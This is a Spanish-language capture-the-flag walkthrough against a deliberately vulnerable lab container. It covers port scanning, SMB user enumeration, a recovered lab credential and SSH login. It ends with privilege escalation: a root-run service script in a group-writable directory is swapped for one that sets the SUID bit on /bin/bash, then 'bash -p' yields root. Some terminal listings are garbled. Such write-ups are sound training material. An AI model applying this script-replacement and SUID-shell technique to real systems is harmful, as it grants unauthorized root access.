

Vamos a desplegar la maquina vulnerable



Ahora haremos un escaneo profundo de los puertos abiertos de la máquina.

```
sudo nmap -sS -sSC -Pn --min-rate 5000 -p- -vvv --open 172.17.0.2 -oN Puertos
 cat <u>Puertos</u>
         File: Puertos
         # Nmap 7.95 scan initiated Sun Oct 19 14:21:34 2025 as: /usr/lib/
         Nmap scan report for 172.17.0.2
         Host is up, received arp-response (0.0000080s latency).
         Scanned at 2025-10-19 14:21:34 CEST for 29s
         Not shown: 65531 closed tcp ports (reset)
         PORT STATE SERVICE
                                     REASON
                                      syn-ack ttl 64
         22/tcp open ssh
         | ssh-hostkey:
            256 b1:4d:aa:b4:22:b4:7c:2e:53:3d:41:69:81:e3:c8:48 (ECDSA)
         | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHA
            256 59:16:7a:02:50:bd:8d:b5:06:30:1c:3d:01:e5:bf:81 (ED25519)
         |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqg1tjS1mEms3sldkfDzDQQvku
                                      syn-ack ttl 64
        80/tcp open http
         | http-methods:
           Supported Methods: OPTIONS HEAD GET POST
         |_http-title: Hacker Landing Page
        139/tcp open netbios-ssn syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
         MAC Address: 02:42:AC:11:00:02 (Unknown)
         Host script results:
         | smb2-time:
            date: 2025-10-19T12:21:35
             start_date: N/A
           smb2-security-mode:
             3:1:1:
               Message signing enabled but not required
         | clock-skew: 0s
           p2p-conficker:
             Checking for Conficker.C or higher ...
             Check 1 (port 21783/tcp): CLEAN (Couldn't connect)
Check 2 (port 9604/tcp): CLEAN (Couldn't connect)
             Check 3 (port 58197/udp): CLEAN (Timeout)
             Check 4 (port 18315/udp): CLEAN (Failed to receive data)
             0/4 checks are positive: Host is CLEAN or ports are blocked
```

Al ver que tiene un servicio http, vamos a visitar la pagina que tiene.



Vemos que seleccionando nos encontramos con palabras que estaban ocultas.



Ahora vamos a hacer un escaneo a smb

```
> enum4linux -a 172.17.0.2
```

Lo que encontramos es que tenemos un directorio compartido llamado share_memehydra

Y encontramos dos usuarios.

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1001 Unix User\memesploit (Local User)
S-1-22-1-1002 Unix User\memehydra (Local User)
```

Ahora si nos logeamos con el usuario memehydra, podemos ver que la contraseña es una de las frases que estaba oculta en la pagina web.

Tiene un fichero zip, así que nos lo llevaremos a nuestra maquina y veremos que tiene dentro.

Vemos que tiene contraseña, pero la contraseña también es una de las frases que estaban ocultas en la página web.

Encontramos el usuario y la contraseña.

```
🖺 memesploit.tar 🗋 Puertos 🔋 secret.zip
□ auto_deploy.sh
) unzip secret.zip
Archive: secret.zip
[secret.zip] secret.txt password:
  inflating: secret.txt
🕨 ls -la
drwxrwxr-x caan31 caan31 4.0 KB Sun Oct 19 14:24:35 2025 🗁.
drwxrwxr-x caan31 caan31 4.0 KB Sun Oct 19 13:21:32 2025 🗁 ..
.rw-r--r-- caan31 caan31 5.1 KB Sun Aug 25 22:19:09 2024 № auto_deploy.sh
.rw ---- caan31 caan31 737 MB Sat Aug 31 17:54:37 2024
.rw-r--r-- root root 1.7 KB Sun Oct 19 14:22:03 2025 ☐ Puertos
.rw-r--r-- caan31 caan31 29 B Sat Aug 31 17:14:25 2024 secret.txt
.rw-r--r-- caan31 caan31 224 B Sun Oct 19 14:24:14 2025 secret.zip
cat <u>secret.txt</u>
          File: secret.txt
          memesploit:metasploitelmejor
```

Ahora nos conectamos por ssh a este usuario.

```
> ssh memesploit@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:CDT5FEJ/D3ouGQ/mBSBX03IkZwybpkLlqaVw9nVkjhs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
memesploit@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.25-amd64 x86_64)
 * Documentation: https://help.ubuntu.com
                  https://landscape.canonical.com
 * Management:
 * Support:
                   https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sat Aug 31 16:41:01 2024 from 172.17.0.1
memesploit@bd7b9b75ab72:~$
```

Con sudo -l para ver como podemos escalar privilegios nos encontramos un script, lo vamos a investigar.

```
memesploit@bd7b9b75ab72:~$ sudo -l
Matching Defaults entries for memesploit on bd7b9b75ab72:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin, use_pty

User memesploit may run the following commands on bd7b9b75ab72:
    (ALL : ALL) NOPASSWD: /usr/sbin/service login_monitor restart
```

Buscamos por el nombre a ver donde ejecuta este script

```
memesploit@bd7b9b75ab72:~$ find / -name 'login_monitor' 2>/dev/null
/etc/init.d/login_monitor
/etc/login_monitor
```

Vemos que tiene varios ejecutables, el principal es actionban.sh

```
memesploit@bd7b9b75ab72:~$ cd /etc/login_monitor
memesploit@bd7b9b75ab72:/etc/login_monitor$ ls
actionban.sh activity.sh loggin.conf network.conf network.sh security.conf security.sh
memesploit@bd7b9b75ab72:/etc/login_monitor$ cat actionban.sh
#!/bin/bash

# Ruta del archivo que simula el registro de bloqueos
BLOCK_LOG="/tmp/block_log.txt"

# Función para generar una IP aleatoria
generate_random_ip() {
    echo "$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1))"
}

# Generar una IP aleatoria
IP_TO_BLOCK=$(generate_random_ip)

# Mensaje de simulación
MESSAGE="Simulación de bloqueo de IP: $IP_TO_BLOCK"

# Mostrar el mensaje en la terminal
echo "$MESSAGE"

# Registrar el intento de bloqueo en el archivo
echo "$(date): $MESSAGE" >> "$BLOCK_LOG"

echo "El registro ha sido creado en $BLOCK_LOG con la IP $IP_TO_BLOCK"
```

Miramos y vemos que todos tienen restricciones porque son de root, pero el grupo del directorio es securuty y si vemos nuestro usuario, también podemos encontrar que somos del mismo grupo.

Con estos permisos podemos hacer lo siguiente.

Copiaremos los datos en otro formato, luego eliminaremos el script original.

Comprobamos que se eliminó correctamente, luego le cambiamos el nombre al que hicimos la copia con el nombre original y así podemos tener permisos para escribir.

```
memesploit@bd7b9b75ab72:/etc/login_monitor$ cp actionban.sh actionban.sp
memesploit@bd7b9b75ab72:/etc/login_monitor$ rm actionban.sh
rm: remove write-protected regular file 'actionban.sh'? y
memesploit@bd7b9b75ab72:/etc/login_monitor$ ls -la
total 40
-rwxr-xr-x 1 memesploit memesploit 620 Oct 19 14:31 actionban.sp
-rwxr-xr-x 1 root root 472 Aug 31 2024 activity.sh
-rw-r--r-- 1 root root 200 Aug 31 2024 loggin.conf
-rw-r--r-- 1 root root 224 Aug 31 2024 network.conf
-rwxr-xr-x 1 root root 501 Aug 31 2024 network.sh
-rw-r--r-- 1 root root 209 Aug 31 2024 security.conf
-rwxr-xr-x 1 root root 488 Aug 31 2024 security.sh
memesploit@bd7b9b75ab72:/etc/login monitor$ mv actionban.sp actionban.sh
memesploit@bd7b9b75ab72:/etc/login_monitor$ ls -la
total 40
root 4096 Oct 19 14:20 ...
-rwxr-xr-x 1 memesploit memesploit 620 Oct 19 14:31 actionban.sh
-rwxr-xr-x 1 root root 472 Aug 31 2024 activity.sh
-rw-r--r-- 1 root
                         root
root
root
                          root
                                      200 Aug 31 2024 loggin.conf
-rw-r--r-- 1 root
                                      224 Aug 31 2024 network.conf
-rwxr-xr-x 1 root
                                      501 Aug 31 2024 network.sh
                                     209 Aug 31 2024 security.conf
-rw-r--r-- 1 root
-rwxr-xr-x 1 root
                                       488 Aug 31 2024 security.sh
```

Al final del script vamos a escribir chmod u+s /bin/bash, para que cuando lo ejecute nos entregue una consola.

```
#Ruta del archivo que simula el registro de bloqueos
BLOCK_LOG="/tmp/block_log.txt"

# Función para generar una IP aleatoria
generate_random_ip() {
    echo "$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1)).$((RANDOM % 255 + 1)).$

# Generar una IP aleatoria
IP_TO_BLOCK=$(generate_random_ip)

# Mensaje de simulación
MESSAGE="Simulación de bloqueo de IP: $IP_TO_BLOCK"

# Mostrar el mensaje en la terminal
echo "$MESSAGE"

# Registrar el intento de bloqueo en el archivo
echo "$(date): $MESSAGE" >> "$BLOCK_LOG"

echo "El registro ha sido creado en $BLOCK_LOG con la IP $IP_TO_BLOCK"

chmod u+s /bin/bash
```

Vamos a volver a ejecutar el script para que se aplique

```
memesploit@bd7b9b75ab72:/etc/login_monitor$ sudo /usr/sbin/service login_monitor restart
Stopping login_monitor...
Starting login_monitor...
```

Ahora si nos volvemos a meter como ssh al usuario y ejecutamos bash -p, vemos que somos root.

```
memesploit@172.17.0.2
memesploit@172.17.0.2's password:
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.12.25-amd64 x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sun Oct 19 14:36:28 2025 from 172.17.0.1
-bash-5.2$ bash -p
bash-5.2$ whoami
root
bash-5.2#
```